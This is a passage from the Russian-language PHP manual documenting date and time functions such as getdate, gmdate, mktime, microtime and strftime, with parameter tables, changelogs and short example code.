// выведет примерно следующее: 2000-07-01T00:00:00+00:00
echo date(DATE_ATOM, mktime(0, 0, 0, 7, 1, 2000));
?>

Чтобы запретить распознавание символа как форматирующего, следует экранировать его с помощью обратного слеша. Если экранированный символ также является форматирующей последовательностью, то следует экранировать его повторно.

Пример #2 Экранирование символов в функции date()

<?php
// выведет примерно следующее: Wednesday the 15th
echo date('l \t\h\e jS');
?>

Для вывода прошедших и будущих дат удобно использовать функции date() и mktime().

Пример #3 Пример совместного использования функций date() и mktime()

<?php
$tomorrow = mktime(0, 0, 0, date("m") , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"), date("Y"));
$nextyear = mktime(0, 0, 0, date("m"), date("d"), date("Y")+1);
?>

Замечание:

Данный способ более надёжен, чем простое вычитание и прибавление секунд к метке времени, поскольку позволяет при необходимости гибко осуществить переход на летнее/зимнее время.

Ещё несколько примеров использования функции date(). Важно отметить, что следует экранировать все символы, которые необходимо оставить без изменений. Это справедливо и для тех символов, которые в текущей версии PHP не распознаются как форматирующие, поскольку это может быть введено в следующих версиях. Для экранировании управляющих последовательностей (например, \n) следует использовать одинарные кавычки.

Пример #4 Форматирование с использованием date()

<?php
// Предположим, что текущей датой является 10 марта 2001, 5:16:18 вечера,
// и мы находимся в часовом поясе Mountain Standard Time (MST)

$today = date("F j, Y, g:i a"); // March 10, 2001, 5:16 pm
$today = date("m.d.y"); // 03.10.01
$today = date("j, n, Y"); // 10, 3, 2001
$today = date("Ymd"); // 20010310
$today = date('h-i-s, j-m-y, it is w Day'); // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.'); // it is the 10th day.
$today = date("D M j G:i:s T Y"); // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h'); // 17:03:18 m is month
$today = date("H:i:s"); // 17:16:18
$today = date("Y-m-d H:i:s"); // 2001-03-10 17:16:18 (формат MySQL DATETIME)
?>

Для форматирования дат на других языках вместо функции date() можно использовать метод IntlDateFormatter::format().

Примечания

Замечание:

Для получения метки времени из строкового представления даты можно воспользоваться функцией strtotime(). Кроме того, некоторые базы данных имеют собственные функции для преобразования внутреннего представления даты в метку времени (например, функция MySQL » UNIX_TIMESTAMP).

Подсказка

Временную метку начала запроса можно получить из поля $_SERVER['REQUEST_TIME'].

Смотрите также

  • DateTimeImmutable::__construct() - Возвращает новый объект DateTimeImmutable
  • DateTimeInterface::format() - Возвращает дату, отформатированную согласно переданному формату
  • gmdate() - Форматирует дату/время по Гринвичу
  • idate() - Преобразует локальное время/дату в целое число
  • getdate() - Возвращает информацию о дате/времени
  • getlastmod() - Получает время последней модификации страницы
  • mktime() - Возвращает метку времени Unix для заданной даты
  • IntlDateFormatter::format() - Форматирует значение даты/времени в виде строки
  • time() - Возвращает текущую метку системного времени Unix
  • Предопределённые константы даты и времени

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о дате/времени

  • « date
  • gettimeofday »
  • PHP Manual
  • Функции даты и времени
  • Возвращает информацию о дате/времени

getdate

(PHP 4, PHP 5, PHP 7, PHP 8)

getdate — Возвращает информацию о дате/времени

Описание

getdate(?int $timestamp = null): array

Возвращает ассоциативный массив (array), содержащий информацию о дате, представленной меткой времени timestamp или текущим системным временем, если timestamp не был передан или null.

Список параметров

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

Возвращаемые значения

Возвращает ассоциативный массив (array) с информацией о параметре timestamp, который содержит следующие элементы:

Индексы возвращаемого ассоциативного массива
Индекс | Описание | Пример значения
"seconds" | Числовое представление секунд | от 0 до 59
"minutes" | Числовое представление минут | от 0 до 59
"hours" | Числовое представление часов | от 0 до 23
"mday" | Порядковый номер дня месяца | от 1 до 31
"wday" | Порядковый номер дня недели | от 0 (воскресенье) до 6 (суббота)
"mon" | Порядковый номер месяца | от 1 до 12
"year" | Номер года, 4 цифры | Примеры: 1999, 2003
"yday" | Порядковый номер дня в году | от 0 до 365
"weekday" | Полное наименование дня недели | от Sunday до Saturday
"month" | Полное наименование месяца, например, January или March | от January до December
0 | Количество секунд, прошедших с начала эпохи Unix (The Unix Epoch), подобно значению, возвращаемому функцией time() и используемому функцией date(). | Зависит от платформы, в большинстве случаев от -2147483648 до 2147483647.

Список изменений

Версия | Описание
8.0.0 | timestamp теперь допускает значение null.

Примеры

Пример #1 Пример использования функции getdate()

<?php
$today = getdate();
print_r($today);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [seconds] => 40
    [minutes] => 58
    [hours]   => 21
    [mday]    => 17
    [wday]    => 2
    [mon]     => 6
    [year]    => 2003
    [yday]    => 167
    [weekday] => Tuesday
    [month]   => June
    [0]       => 1055901520
)

Смотрите также

  • date() - Форматирует временную метку Unix
  • idate() - Преобразует локальное время/дату в целое число
  • localtime() - Возвращает локальное время
  • time() - Возвращает текущую метку системного времени Unix
  • setlocale() - Устанавливает настройки локали

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее время

  • « getdate
  • gmdate »
  • PHP Manual
  • Функции даты и времени
  • Возвращает текущее время

gettimeofday

(PHP 4, PHP 5, PHP 7, PHP 8)

gettimeofday — Возвращает текущее время

Описание

gettimeofday(bool $as_float = false): array|float

Функция является интерфейсом к системному вызову gettimeofday(2). Она возвращает ассоциативный массив, содержащий информацию, полученную от системного вызова.

Список параметров

as_float

Если установлено в true, вместо массива возвращается число с плавающей точкой.

Возвращаемые значения

По умолчанию возвращается массив (array). Если установлен параметр as_float, то возвращается число с плавающей точкой (float).

Ключи массива:

  • "sec" - количество секунд, прошедших с эпохи Unix
  • "usec" - микросекунды
  • "minuteswest" - смещение к западу от Гринвича, в минутах
  • "dsttime" - тип коррекции летнего времени

Примеры

Пример #1 Пример использования функции gettimeofday()

<?php
print_r(gettimeofday());

echo gettimeofday(true);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [sec] => 1073504408
    [usec] => 238215
    [minuteswest] => 0
    [dsttime] => 1
)

1073504408.23910

User Contributed Notes

There are no user contributed notes for this page.


Форматирует дату/время по Гринвичу

  • « gettimeofday
  • gmmktime »
  • PHP Manual
  • Функции даты и времени
  • Форматирует дату/время по Гринвичу

gmdate

(PHP 4, PHP 5, PHP 7, PHP 8)

gmdate — Форматирует дату/время по Гринвичу

Описание

gmdate(string $format, ?int $timestamp = null): string

Эта функция идентична функции date() за исключением того, что возвращает время по Гринвичу (GMT).

Список параметров

format

Формат выводимой даты типа строка (string). Смотрите параметры форматирования для функции date().

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

Возвращаемые значения

Возвращает строку с форматированной датой.

Список изменений

Версия | Описание
8.0.0 | timestamp теперь допускает значение null.

Примеры

Пример #1 Пример использования gmdate()

Например, в Финляндии (GMT +0200), первая строка в следующем примере выведет "Jan 01 1998 00:00:00", а вторая - "Dec 31 1997 22:00:00".

<?php
echo date("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
echo gmdate("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
?>

Смотрите также

  • DateTimeImmutable::__construct() - Возвращает новый объект DateTimeImmutable
  • DateTimeInterface::format() - Возвращает дату, отформатированную согласно переданному формату
  • date() - Форматирует временную метку Unix
  • mktime() - Возвращает метку времени Unix для заданной даты
  • gmmktime() - Возвращает локальную метку времени Unix для времени по Гринвичу
  • IntlDateFormatter::format() - Форматирует значение даты/времени в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает локальную метку времени Unix для времени по Гринвичу

  • « gmdate
  • gmstrftime »
  • PHP Manual
  • Функции даты и времени
  • Возвращает локальную метку времени Unix для времени по Гринвичу

gmmktime

(PHP 4, PHP 5, PHP 7, PHP 8)

gmmktime — Возвращает локальную метку времени Unix для времени по Гринвичу

Описание

gmmktime(
int $hour,
?int $minute = null,
?int $second = null,
?int $month = null,
?int $day = null,
?int $year = null
): int|false

Эта функция идентична функции mktime(), за исключением того, что аргументы являются временем по Гринвичу (GMT). gmmktime() внутри использует mktime(), поэтому могут быть использованы только те даты местного времени, которые корректно представляются в этом часовом поясе.

Подобно функции mktime(), необязательные аргументы могут быть опущены в порядке справа налево, при этом все опущенные аргументы предполагаются равными соответствующим компонентам текущего времени по Гринвичу.

Вызов функции gmmktime() без аргументов не поддерживается и приведёт к ошибке ArgumentCountError.

Список параметров

hour

Количество часов, прошедших с начала дня, указанного параметрами month, day и year. Отрицательные значения определяют часы до полуночи указанного дня. Значения, большие 23 определяют соответствующий час следующего дня (или дней).

minute

Количество минут, прошедших от начала часа, указанного параметром hour. Отрицательные значения определяют минуты предыдущего часа. Значения, большие 59 определяют соответствующие минуты следующего часа (или часов).

second

Количество секунд, прошедших от начала минуты, указанной параметром minute. Отрицательные значения определяют секунды из предыдущей минуты. Значения, большие 59 определяют соответствующие секунды следующей минуты (или минут).

month

Количество месяцев, прошедших с конца предыдущего года. Значения от 1 до 12 определяют нормальные обычные календарные месяцы года. Значения, меньшие 1 (включая отрицательные значения) определяют месяца предыдущего года в обратном порядке, то есть 0 будет декабрём, -1 - ноябрём и т.д. Значения больше 12 определяют соответствующий месяц в следующем году (или годах).

day

Количество дней, прошедших с конца предыдущего месяца. Значения от 1 до 28, 29, 30 или 31 (в зависимости от месяца) определяют нормальные дни соответствующего месяца. Значения, меньшие 1 (включая отрицательные значения) определяют дни предыдущего месяца, таким образом, 0 является последним днём предыдущего месяца, -1 - предпоследним днём предыдущего месяца и т.д. Значения, большие количества дней соответствующего месяца определяют соответствующий день следующего месяца (или месяцев).

year

Год

Возвращаемые значения

Возвращает временную метку Unix (int) в случае успешного выполнения или false, если временная метка не может быть представлена в виде целого числа PHP.

Список изменений

Версия | Описание
8.0.0 | hour больше не является необязательным. Если вам нужна временная метка Unix, используйте функцию time().
8.0.0 | minute, second, month, day и year теперь допускают значение null.

Примеры

Пример #1 Базовый пример использования gmmktime()

<?php
// Выводит: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", gmmktime(0, 0, 0, 7, 1, 2000));
?>

Смотрите также

  • The DateTimeImmutable class
  • mktime() - Возвращает метку времени Unix для заданной даты
  • date() - Форматирует временную метку Unix
  • time() - Возвращает текущую метку системного времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Форматирует дату/время по Гринвичу с учётом текущей локали

  • « gmmktime
  • idate »
  • PHP Manual
  • Функции даты и времени
  • Форматирует дату/время по Гринвичу с учётом текущей локали

gmstrftime

(PHP 4, PHP 5, PHP 7, PHP 8)

gmstrftime — Форматирует дату/время по Гринвичу с учётом текущей локали

Внимание

Функция объявлена УСТАРЕВШЕЙ в PHP 8.1.0. Полагаться на эту функцию крайне не рекомендуется.

Есть следующие альтернативы:

  • gmdate()
  • IntlDateFormatter::format()

Описание

gmstrftime(string $format, ?int $timestamp = null): string|false

Эта функция идентична функции strftime() за исключением того, что возвращает время по Гринвичу (GMT). Например, при запуске на системе, где установлено Eastern Standard Time (GMT-0500), первая строка из примера ниже выведет "Dec 31 1998 20:00:00", тогда как вторая - "Jan 01 1999 01:00:00".

Внимание

Функция зависит от информации о локали операционной системы, которая может быть несовместима друг с другом или вообще отсутствовать. Вместо этой функции используйте метод IntlDateFormatter::format().

Список параметров

format

Смотрите описание функции strftime().

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

Возвращаемые значения

Возвращает строку, отформатированную согласно указанному формату и с использованием временной метки из параметра timestamp или текущего локального времени, если временная метка не была указана. Названия месяцев, дней недели и других языкозависимых строк будут показаны с учётом настроек текущей локали, установленных с помощью функции setlocale(). В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
8.0.0 | timestamp теперь допускает значение null.

Примеры

Пример #1 Пример использования функции gmstrftime()

<?php
setlocale(LC_TIME, 'en_US');
echo strftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
echo gmstrftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
?>

Смотрите также

  • IntlDateFormatter::format() - Форматирует значение даты/времени в виде строки
  • DateTimeInterface::format() - Возвращает дату, отформатированную согласно переданному формату
  • strftime() - Форматирует текущую дату/время с учётом текущих настроек локали

User Contributed Notes

There are no user contributed notes for this page.


Преобразует локальное время/дату в целое число

  • « gmstrftime
  • localtime »
  • PHP Manual
  • Функции даты и времени
  • Преобразует локальное время/дату в целое число

idate

(PHP 5, PHP 7, PHP 8)

idate — Преобразует локальное время/дату в целое число

Описание

idate(string $format, ?int $timestamp = null): int|false

Преобразует текущую дату и время в целое число в соответствии со строкой форматирования format. Если аргумент timestamp задан, расчёт будет произведён для этой временной метки, если нет - будет использовано локальное время. Другими словами, timestamp - необязательный аргумент и по умолчанию равен значению time().

В отличие от функции date(), idate() принимает только один символ в аргументе format.

Список параметров

format

Допустимые символы в строке аргумента format
символ в format | Описание
B | Эталонное время/Время Интернета
d | День месяца
h | Час (12 часовой формат)
H | Час (24 часовой формат)
i | Минуты
I (i в верхнем регистре) | возвращает 1, если активировано DST, или 0 в противном случае
L (l в верхнем регистре) | возвращает 1 для високосного года, 0 в противном случае
m | Номер месяца
N | День недели в ISO-8601 (с 1 для понедельника по 7 для воскресенья)
o | Год в ISO-8601 (4 цифры)
s | Секунды
t | Количество дней в текущем месяце
U | Время в секундах, от начала эпохи UNIX - 1 января 1970 00:00:00 UTC - то же, что time()
w | День недели (0 - Воскресенье)
W | ISO-8601 - Номер недели года, неделя начинается с понедельника
y | Год (1 или 2 цифры - смотрите примечание ниже)
Y | Год (4 цифры)
z | День года
Z | Часовой пояс — смещение в секундах

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

Возвращаемые значения

Возвращает целое число (int) в случае успешного выполнения или false в случае возникновения ошибки.

idate() всегда возвращает тип int и не может начинаться с нуля, поэтому idate() может вернуть меньше цифр, чем вы ожидаете. Смотрите примеры ниже.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Список изменений

Версия | Описание
8.2.0 | Добавлены символы для параметра format: N (День недели в ISO-8601) и o (Год в ISO-8601).
8.0.0 | timestamp теперь допускает значение null.

Примеры

Пример #1 Пример использования idate()

<?php
$timestamp = strtotime('1st January 2004'); //1072915200

// это выведет год в 2-х знаковом представлении
// поскольку первая цифра "0", будет выведено
// только "4"
echo idate('y', $timestamp);
?>

Смотрите также

  • DateTimeInterface::format() - Возвращает дату, отформатированную согласно переданному формату
  • date() - Форматирует временную метку Unix
  • getdate() - Возвращает информацию о дате/времени
  • time() - Возвращает текущую метку системного времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Возвращает локальное время

  • « idate
  • microtime »
  • PHP Manual
  • Функции даты и времени
  • Возвращает локальное время

localtime

(PHP 4, PHP 5, PHP 7, PHP 8)

localtime — Возвращает локальное время

Описание

localtime(?int $timestamp = null, bool $associative = false): array

Функция localtime() возвращает массив, аналогичный по структуре, возвращаемой соответствующей функцией C.

Список параметров

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

associative

Определяет, должна ли функция возвращать обычный массив с числовыми индексами или ассоциативный.

Возвращаемые значения

Если associative установлен в false или не передан, то возвращается обычный массив с числовыми индексами. Если для параметра associative установлено значение true, то функция localtime() вернёт ассоциативный массив, содержащий элементы структуры, возвращённые вызовом C-функции localtime. Ключи ассоциативного массива следующие:

  • "tm_sec" - секунды, с 0 до 59
  • "tm_min" - минуты, с 0 до 59
  • "tm_hour" - часы, с 0 до 23
  • "tm_mday" - день месяца, с 1 до 31
  • "tm_mon" - месяц года, с 0 (январь) до 11 (декабрь)
  • "tm_year" - количество лет, прошедших с 1900 г.
  • "tm_wday" - день недели, с 0 (воскресенье) до 6 (суббота)
  • "tm_yday" - порядковый номер дня в году, с 0 до 365
  • "tm_isdst" - действует ли летнее время? Положительное значение, если учитывается, 0, если не учитывается, отрицателен, если неизвестно.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Список изменений

Версия | Описание
8.0.0 | timestamp теперь допускает значение null.

Примеры

Пример #1 Пример использования localtime()

<?php
$localtime = localtime();
$localtime_assoc = localtime(time(), true);
print_r($localtime);
print_r($localtime_assoc);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 24
    [1] => 3
    [2] => 19
    [3] => 3
    [4] => 3
    [5] => 105
    [6] => 0
    [7] => 92
    [8] => 1
)

Array
(
    [tm_sec] => 24
    [tm_min] => 3
    [tm_hour] => 19
    [tm_mday] => 3
    [tm_mon] => 3
    [tm_year] => 105
    [tm_wday] => 0
    [tm_yday] => 92
    [tm_isdst] => 1
)

Смотрите также

  • getdate() - Возвращает информацию о дате/времени

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую метку времени Unix с микросекундами

  • « localtime
  • mktime »
  • PHP Manual
  • Функции даты и времени
  • Возвращает текущую метку времени Unix с микросекундами

microtime

(PHP 4, PHP 5, PHP 7, PHP 8)

microtime — Возвращает текущую метку времени Unix с микросекундами

Описание

microtime(bool $as_float = false): string|float

Функция microtime() возвращает текущую метку времени Unix с микросекундами. Эта функция доступна только на операционных системах, в которых есть системный вызов gettimeofday().

Для измерения производительности рекомендуется использовать hrtime().

Список параметров

as_float

Если указано и установлено в true, microtime() возвратит число с плавающей точкой (float) вместо строки (string), как описано в разделе возвращаемых значений ниже.

Возвращаемые значения

По умолчанию microtime() возвращает строку (string) в формате "msec sec", где sec представляет собой количество секунд в виде десятичной дроби с начала эпохи Unix (1 января 1970 0:00:00 GMT), а msec - это количество микросекунд, прошедших после sec.

Если параметр as_float установлен в true, то microtime() возвратит результат в вещественном виде (float), представляющий собой текущее время в секундах, прошедших с начала эпохи Unix с точностью до микросекунд.

Примеры

Пример #1 Замер времени выполнения скрипта

<?php
$time_start = microtime(true);

// Спим некоторое время
usleep(100);

$time_end = microtime(true);
$time = $time_end - $time_start;

echo "Ничего не делал $time секунд\n";
?>

Пример #2 Пример использования microtime() и REQUEST_TIME_FLOAT

<?php
// Выбираем время сна случайным образом
usleep(mt_rand(100, 10000));

// В суперглобальном массиве $_SERVER доступно значение REQUEST_TIME_FLOAT.
// Оно содержит временную метку начала запроса с точностью до микросекунд.
$time = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];

echo "Ничего не делал $time секунд\n";
?>

Смотрите также

  • time() - Возвращает текущую метку системного времени Unix
  • hrtime() - Получить системное время высокого разрешения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает метку времени Unix для заданной даты

  • « microtime
  • strftime »
  • PHP Manual
  • Функции даты и времени
  • Возвращает метку времени Unix для заданной даты

mktime

(PHP 4, PHP 5, PHP 7, PHP 8)

mktime — Возвращает метку времени Unix для заданной даты

Описание

mktime(
int $hour,
?int $minute = null,
?int $second = null,
?int $month = null,
?int $day = null,
?int $year = null
): int|false

Функция возвращает метку времени Unix, соответствующую дате и времени, переданных в качестве аргументов. Метка времени - это целое число, равное разнице в секундах между заданной датой/временем и началом эпохи Unix (1 января 1970 00:00:00 GMT).

Любые необязательные аргументы, опущенные или равные null, будут установлены в текущее значение в соответствии с локальной датой и временем.

Внимание

Обратите внимание, что порядок аргументов нечётный: month, day, year, а не в более разумной последовательности year, month, day.

Вызов функции mktime() без аргументов не поддерживается и приведёт к ошибке ArgumentCountError.

Список параметров

hour

Количество часов, прошедших с начала дня, указанного параметрами month, day и year. Отрицательные значения определяют часы до полуночи указанного дня. Значения больше 23 определяют соответствующий час следующего дня (или дней).

minute

Количество минут, прошедших от начала часа, указанного параметром hour. Отрицательные значения определяют минуты предыдущего часа. Значения больше 59 определяют соответствующие минуты следующего часа (или часов).

second

Количество секунд, прошедших от начала минуты, указанной параметром minute. Отрицательные значения определяют секунды из предыдущей минуты. Значения больше 59 определяют соответствующие секунды следующей минуты (или минут).

month

Количество месяцев, прошедших с конца предыдущего года. Значения от 1 до 12 определяют нормальные обычные календарные месяцы года. Значения меньше 1 (включая отрицательные значения) определяют месяца предыдущего года в обратном порядке, то есть 0 будет декабрём, -1 - ноябрём и т.д. Значения больше 12 определяют соответствующий месяц в следующем году (или годах).

day

Количество дней, прошедших с конца предыдущего месяца. Значения от 1 до 28, 29, 30 или 31 (в зависимости от месяца) определяют нормальные дни соответствующего месяца. Значения меньше 1 (включая отрицательные значения) определяют дни предыдущего месяца, таким образом, 0 является последним днём предыдущего месяца, -1 - предпоследним днём предыдущего месяца и т.д. Значения больше количества дней соответствующего месяца определяют соответствующий день следующего месяца (или месяцев).

year

Номер года, может быть указан двумя или четырьмя цифрами, причём значения между 0-69 будут трактованы как 2000-2069, а между 70-100 - как 1970-2000. На тех системах, где time_t является 32-битным знаковым целым (наиболее распространённый вариант на сегодня), корректный диапазон для параметра year содержит даты где-то между 1901 и 2038.

Возвращаемые значения

Функция mktime() возвращает временную метку Unix в соответствии с переданными аргументами или false, если временная метка не может быть представлена в виде целого числа PHP.

Список изменений

Версия | Описание
8.0.0 | hour больше не является необязательным. Если вам нужна временная метка Unix, используйте функцию time().
8.0.0 | minute, second, month, day и year теперь допускают значение null.

Примеры

Пример #1 Пример использования функции mktime()

<?php
// Устанавливаем используемый по умолчанию часовой пояс.
date_default_timezone_set('UTC');

// Выводит: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

// Выводит что-то вроде: 2006-04-05T01:02:03+00:00
echo date('c', mktime(1, 2, 3, 4, 5, 2006));
?>

Пример #2 Пример использования mktime()

Функцию mktime() удобно использовать для выполнения арифметических операций с датами, так как она вычисляет верные значения при некорректных аргументах. Например, в следующем примере каждая строка выведет "Jan-01-1998".

<?php
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 13, 1, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 1998));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 98));
?>

Пример #3 Последний день месяца

Последний день любого месяца можно вычислить как "нулевой" день следующего месяца, не -1 день. Оба приведённых ниже примера выведут "Последний день февраля 2000 г.: 29".

<?php
$lastday = mktime(0, 0, 0, 3, 0, 2000);
echo strftime("Последний день февраля 2000 г.: %d", $lastday);
$lastday = mktime(0, 0, 0, 4, -31, 2000);
echo strftime("Последний день февраля 2000 г.: %d", $lastday);
?>

Смотрите также

  • Класс DateTimeImmutable
  • checkdate() - Проверяет корректность даты по григорианскому календарю
  • gmmktime() - Возвращает локальную метку времени Unix для времени по Гринвичу
  • date() - Форматирует временную метку Unix
  • time() - Возвращает текущую метку системного времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Форматирует текущую дату/время с учётом текущих настроек локали

  • « mktime
  • strptime »
  • PHP Manual
  • Функции даты и времени
  • Форматирует текущую дату/время с учётом текущих настроек локали

strftime

(PHP 4, PHP 5, PHP 7, PHP 8)

strftime — Форматирует текущую дату/время с учётом текущих настроек локали

Внимание

Функция объявлена УСТАРЕВШЕЙ в PHP 8.1.0. Полагаться на эту функцию крайне не рекомендуется.

Есть следующие альтернативы:

  • date()
  • IntlDateFormatter::format()

Описание

strftime(string $format, ?int $timestamp = null): string|false

Форматирует дату/время с учётом текущих настроек локали. Названия месяцев, дней недели и других языкозависимых строк будут взяты в соответствии с текущими настройками локали, установленной с помощью функции setlocale().

Внимание

Ваша C-библиотека может не поддерживать все форматирующие параметры, в этом случае они будут недоступны функции strftime(). Кроме того, не все платформы поддерживают отрицательные метки времени, так что поддерживаемый диапазон дат на этих платформах будет ограничен эпохой Unix. Это значит, что %e, %T, %R и %D (а возможно и другие параметры), как и даты до Jan 1, 1970, не поддерживаются Windows, некоторыми версиями Linux и некоторыми другими операционными системами. Список форматирующих символов, поддерживаемых Windows, можно найти на » сайте MSDN. Используйте вместо этого метод IntlDateFormatter::format().

Список параметров

format

Распознаются следующие символы в строке format
format | Описание | Пример возвращаемых значений
День --- ---
%a | Сокращённое название дня недели | От Sun до Sat
%A | Полное название дня недели | От Sunday до Saturday
%d | Двухзначное представление дня месяца (с ведущими нулями) | От 01 до 31
%e | День месяца, с ведущим пробелом, если он состоит из одной цифры. На Windows реализован не так, как описано. Подробнее смотрите ниже. | От 1 до 31
%j | Порядковый номер в году, 3 цифры с ведущими нулями | От 001 до 366
%u | Порядковый номер дня недели согласно стандарту ISO-8601 | От 1 (понедельник) до 7 (воскресенье)
%w | Порядковый номер дня недели | От 0 (воскресенье) до 6 (суббота)
Неделя --- ---
%U | Порядковый номер недели в указанном году, начиная с первого воскресенья в качестве первой недели | 13 (для полной 13-й недели года)
%V | Порядковый номер недели в указанном году в соответствии со стандартом ISO-8601:1988, счёт начинается с той недели, которая содержит минимум 4 дня, неделя начинается с понедельника | От 01 до 53 (где 53 указывает на перекрывающуюся неделю)
%W | Порядковый номер недели в указанном году, начиная с первого понедельника в качестве первой недели | 46 (для 46-й недели года, начинающейся с понедельника)
Месяц --- ---
%b | Аббревиатура названия месяца, в соответствии с настройками локали | От Jan до Dec
%B | Полное название месяца, в соответствии с настройками локали | От January до December
%h | Аббревиатура названия месяца, в соответствии с настройками локали (псевдоним %b) | От Jan до Dec
%m | Двухзначный порядковый номер месяца | От 01 (январь) до 12 (декабрь)
Год --- ---
%C | Двухзначный порядковый номер столетия (год, делённый на 100, усечённый до целого) | 19 для 20-го века
%g | Двухзначный номер года в соответствии со стандартом ISO-8601:1988 (смотрите %V) | Пример: 09 для недели 6 января 2009
%G | Полная четырёхзначная версия %g | Пример: 2009 для недели 3 января 2009
%y | Двухзначный порядковый номер года | Пример: 09 для 2009, 79 для 1979
%Y | Четырёхзначный номер года | Пример: 2038
Время --- ---
%H | Двухзначный номер часа в 24-часовом формате | От 00 до 23
%k | Часы в 24-часовом формате, с пробелом перед одиночной цифрой | От 0 до 23
%I | Двухзначный номер часа в 12-часовом формате | От 01 до 12
%l (строчная 'L') | Час в 12-часовом формате, с пробелом перед одиночной цифрой | От 1 до 12
%M | Двухзначный номер минуты | От 00 до 59
%p | 'AM' или 'PM' в верхнем регистре, в зависимости от указанного времени | Пример: AM для 00:31, PM для 22:23. Точный результат зависит от операционной системы, также могут возвращаться варианты в нижнем регистре или варианты с точками (например, a.m.).
%P | 'am' или 'pm' в зависимости от указанного времени | Пример: am для 00:31, pm для 22:23. Поддерживается не всеми операционными системами.
%r | То же что и "%I:%M:%S %p" | Пример: 09:34:17 PM для 21:34:17
%R | То же что и "%H:%M" | Пример: 00:35 для 12:35 AM, 16:44 для 4:44 PM
%S | Двухзначный номер секунды | От 00 до 59
%T | То же что и "%H:%M:%S" | Пример: 21:34:17 для 09:34:17 PM
%X | Предпочитаемое отображение времени в зависимости от локали, без даты | Пример: 03:59:16 или 15:59:16
%z | Смещение часового пояса относительно UTC. Не реализовано в Windows, подробности смотрите ниже. | Пример: -0500 для US Eastern Time
%Z | Аббревиатура часового пояса. Не реализовано в Windows, подробности смотрите ниже. | Пример: EST для Eastern Time
Метки даты и времени --- ---
%c | Предпочитаемое отображение даты и времени, в зависимости от текущей локали | Пример: Tue Feb 5 00:45:10 2009 для 5 февраля 2009 00:45:10
%D | То же что и "%m/%d/%y" | Пример: 02/05/09 для 5 февраля 2009
%F | То же что и "%Y-%m-%d" (обычно используется в метках времени баз данных) | Пример: 2009-02-05 для 5 февраля 2009
%s | Метка времени Эпохи Unix (то же что и функция time()) | Пример: 305815200 для 10 сентября 1979 08:40:00
%x | Предпочитаемое отображение даты, без времени | Пример: 02/05/09 для 5 февраля 2009
Различное --- ---
%n Символ перевода строки ("\n") ---
%t Символ табуляции ("\t") ---
%% Символ процента ("%") ---

Внимание

В отличие от ISO-9899:1999, в Sun Solaris воскресенью присваивается номер 1. Как результат, %u может работать не так, как описано в этом руководстве.

Внимание

Только для Windows:

Модификатор %e не поддерживается в реализации этой функции в Windows. Для использования этого значения необходимо вместо него использовать модификатор %#d. Пример ниже иллюстрирует кроссплатформенно совместимую функцию.

Модификаторы %z и %Z возвращают название часового пояса вместо смещения или аббревиатуры.

Внимание

Только для macOS и Musl: модификатор %P не поддерживается в реализации этой функции в macOS.

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

Возвращаемые значения

Возвращает строку, отформатированную в соответствии с параметром format, используя указанную временную метку timestamp или текущее время, если метка не была указана. Названия месяцев, дней недели и других языкозависимых строк будут взяты в соответствии с текущими настройками локали, установленной с помощью функции setlocale(). Функция возвращает false если параметр format пустой, содержит неподдерживаемые спецификаторы преобразования или если длина возвращаемой строки будет больше 4095.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Из-за того, что результат данной функции зависит от используемой в операционной системе C-библиотеки, некоторые модификаторы могут не поддерживаться. Передача неизвестного модификатора в функцию в Windows выдаст 5 предупреждений E_WARNING и вернёт false. На других операционных системах вы можете не получить никаких предупреждений E_WARNING, а вывод может содержать модификаторы без преобразований.

Список изменений

Версия | Описание
